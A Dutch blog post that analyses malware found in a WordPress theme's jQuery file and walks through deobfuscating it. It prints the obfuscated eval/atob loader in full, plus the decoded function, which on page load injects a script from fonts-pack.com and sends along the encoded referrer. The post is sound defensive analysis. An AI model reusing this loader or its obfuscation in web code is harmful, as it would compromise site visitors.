WordPress malware Javascript code onderzocht

Onlangs nam de webmaster van een van de WordPress websites die ik onderhoud en ontwikkel contact met mij op. De plugin Wordfence, die de beveiliging in de gaten houd, had geconstateerd dat een bepaald Javascript bestand niet betrouwbaar meer was. Hij vroeg of ik dit even wilde controleren. Ik heb vervolgens het Javascript bestand opgezocht en aan het einde van het bestand vond ik de onderstaande code. Het ging in dit geval om een jQuery thema bestand.

var qqgXzh = 'wmizcvbkdgapjnyohluqrstfxe'; function yyvDWX() { return this; };
yyvDWX()[(!!0+'')[4] + 31..toString(36) + (!1+'')[1] + (!!0+'')[2]](yyvDWX()[(!1+'')[3-2] + (!0+'')[0] + (''+{})[1] + (''+{})[2]](('ZnVu;Y3Rpb24gRkZ;fTWFpbkZ1bmMoKXt2YXIgYT0nYW;l5OW91ZW90JztpZih0eXBlb2YgU3Rvcm;FnZSE;9PSJ1bmRlZmluZWQiKXtjb25zb2xlLmxvZygndGVzdCBzdG9yYWdlIHNoaXQnKTtpZihsb2NhbFN;0b3JhZ2VbJ35+;flBOQU1+fn4nXSE9PWEpe2NvbnNvbGUubG9nKCdubyBzdG9yYWdlIHZhciAhIGFkZCBzY3JpcHQgJyk7b;G9jYWxTdG9yYWdl;Wyd+fn5QTkFNfn5+J109YTt2YXIgYj1kb2N1b;WVudC5jcmVhd;GVFbGVtZW50;KCdzY;3JpcHQnKTtiLn;NyYz0naHR0cDovL2ZvbnRzLXBhY2suY2;9tL2pzL3Jl;bG9hZC5qcz94PScrYnRvYShkb2N1;bWVudC5yZWZlcn;Jlcik7ZG9jdW1lbnQuYm9;keS5hcHBlbmRDaGlsZChiKTt9fX13aW5kb3cuYWRkRXZ;lbnRMaXN0Z;W5lcignbG9hZCcsRkZfTWFpbkZ1bmMpOw==')[qqgXzh[20]+qqgXzh[25]+qqgXzh[11]+qqgXzh[17]+qqgXzh[10]+qqgXzh[4]+qqgXzh[25]](/;/g, '')))

Op een of andere manier was het een hacker gelukt om malware code toe te voegen aan een bestaand Javascript bestand. Dat kan via een lek in WordPress, het thema of een van de plugins.

Stap 1: Als we de code beetje uitlijnen en mooi maken krijg je dit te zien

var qqgXzh = 'wmizcvbkdgapjnyohluqrstfxe';
function yyvDWX() {
return this;
};
yyvDWX()
[(!!0+'')[4] + 31..toString(36) + (!1+'')[1] + (!!0+'')[2]](yyvDWX()[(!1+'')[3-2] + (!0+'')[0] + (''+{})[1] + (''+{})[2]](('ZnVu;Y3Rpb24gRkZ;fTWFpbkZ1bmMoKXt2YXIgYT0nYW;l5OW91ZW90JztpZih0eXBlb2YgU3Rvcm;FnZSE;9PSJ1bmRlZmluZWQiKXtjb25zb2xlLmxvZygndGVzdCBzdG9yYWdlIHNoaXQnKTtpZihsb2NhbFN;0b3JhZ2VbJ35+;flBOQU1+fn4nXSE9PWEpe2NvbnNvbGUubG9nKCdubyBzdG9yYWdlIHZhciAhIGFkZCBzY3JpcHQgJyk7b;G9jYWxTdG9yYWdl;Wyd+fn5QTkFNfn5+J109YTt2YXIgYj1kb2N1b;WVudC5jcmVhd;GVFbGVtZW50;KCdzY;3JpcHQnKTtiLn;NyYz0naHR0cDovL2ZvbnRzLXBhY2suY2;9tL2pzL3Jl;bG9hZC5qcz94PScrYnRvYShkb2N1;bWVudC5yZWZlcn;Jlcik7ZG9jdW1lbnQuYm9;keS5hcHBlbmRDaGlsZChiKTt9fX13aW5kb3cuYWRkRXZ;lbnRMaXN0Z;W5lcignbG9hZCcsRkZfTWFpbkZ1bmMpOw==')[qqgXzh[20]+qqgXzh[25]+qqgXzh[11]+qqgXzh[17]+qqgXzh[10]+qqgXzh[4]+qqgXzh[25]](/;/g, '')))

We zien nu dat er een functie wordt gedeclareerd en wordt uitgevoerd. Echter het grootste gedeelte is nog steeds een brij aan code. Lijkt op base64 encoding.

In de volgende stappen onderzoeken we telkens een stukje code.

Stap 2: Als je het volgende stukje code uitvoert in console.log in een browser

(!!0+'')[4] + 31..toString(36)  + (!1+'')[1] + (!!0+'')[2]]

Is het resultaat de Javascript functie eval()

Stap 3: Als je het volgende stukje code uitvoert in console.log in een browser

(yyvDWX()[(!1+'')[3-2] + (!0+'')[0] + (''+{})[1] + (''+{})[2]]

Is het resultaat de Javascript functie atob() die eigenlijk een base64 encoded string decoded. Met andere woorden een lange string aan vreemde tekens wordt weer leesbaar gemaakt.

Stap 4: Als je het volgende stukje code doet decoden op basis van het base64 formaat

(('ZnVu;Y3Rpb24gRkZ;fTWFpbkZ1bmMoKXt2YXIgYT0nYW;l5OW91ZW90JztpZih0eXBlb2YgU3Rvcm;FnZSE;9PSJ1bmRlZmluZWQiKXtjb25zb2xlLmxvZygndGVzdCBzdG9yYWdlIHNoaXQnKTtpZihsb2NhbFN;0b3JhZ2VbJ35+;flBOQU1+fn4nXSE9PWEpe2NvbnNvbGUubG9nKCdubyBzdG9yYWdlIHZhciAhIGFkZCBzY3JpcHQgJyk7b;G9jYWxTdG9yYWdl;Wyd+fn5QTkFNfn5+J109YTt2YXIgYj1kb2N1b;WVudC5jcmVhd;GVFbGVtZW50;KCdzY;3JpcHQnKTtiLn;NyYz0naHR0cDovL2ZvbnRzLXBhY2suY2;9tL2pzL3Jl;bG9hZC5qcz94PScrYnRvYShkb2N1;bWVudC5yZWZlcn;Jlcik7ZG9jdW1lbnQuYm9;keS5hcHBlbmRDaGlsZChiKTt9fX13aW5kb3cuYWRkRXZ;lbnRMaXN0Z;W5lcignbG9hZCcsRkZfTWFpbkZ1bmMpOw==')

Dan is de onderstaande functie het resultaat. Voor het decoden heb ik gebruik gemaakt van de website base64decode.org. De functie maakt vanuit de website verbinding met de website fonts-pack.com om vanaf daar een JS bestand in te laden.

function FF_MainFunc(){
var a='aiy9oueot';
if(typeof Storage!=="undefined"){
console.log('test storage shit');
if(localStorage['~~~PNAM~~~']!==a){
console.log('no storage var ! add script ');
localStorage['~~~PNAM~~~']=a;
var b=document.createElement('script');
b.src='http://fonts-pack.com/js/reload.js?x='+btoa(document.referrer);
document.body.appendChild(b);
}}}
window.addEventListener('load',FF_MainFunc);

>

Stap 6: Als je het volgende stukje code uitvoert in console.log in een browser

[qqgXzh[20]+qqgXzh[25]+qqgXzh[11]+qqgXzh[17]+qqgXzh[10]+qqgXzh[4]+qqgXzh[25]](/;/g, '')))

Is het resultaat de JS functie replace(). Deze functie vervangt alle ; door niets in de voorafgaande string.

Samenvatting:
De Javascript code voert via eval() de functie atob() uit die de base64 string doet decoden. Het resultaat van de decode actie wordt opgeschoond door de functie replace(). De code werd iedere keer dat er een pagina bezocht wordt uitgevoerd.

Conclusie:
Na het onderzoeken van het onleesbare stukje Javascript code kan geconcludeerd worden dat het code genereert dat een extern Javascript bestand wil inladen. Tijdens het analyseren van de code was het domein voorzien van een .htpasswd beveiliging waardoor het niet bekend is welke code er in reload.js zit. Gezien de hoeveelheid moeite om de code onduidelijk te maken wordt ervan uitgegaan dat het geen normale en veilige code is. Het verwijderen van de .htpasswd beveiliging is voldoende om het bestand in te kunnen laden.

Ik heb het aangetaste Javascript bestand ook nog vergeleken met de originele bestanden die ik gedownload heb van de website van de thema auteur. Ook hieruit blijkt dat dit stukje onleesbare code er niet standaard in hoort.

Advies:
Mocht je een vergelijkbare situatie meemaken dan is het advies om de code te verwijderen. Als een bestand is aangepast is de kans groot dat er meerdere bestanden zijn aangepast. In het geval van een WordPress thema kan je daarom het beste het thema van de server verwijderen. Upload vervolgens het thema opnieuw.

Heb je een WordPress website installeer dan Wordfence of een vergelijkbare plugin die de beveiliging van de website in de gaten houd. Zonder deze beveiliging kom je er namelijk niet zo snel achter als er code toegevoegd is aan jouw bestanden.

Laat een reactie achter

Deze website gebruikt Akismet om spam te verminderen. Bekijk hoe je reactie-gegevens worden verwerkt.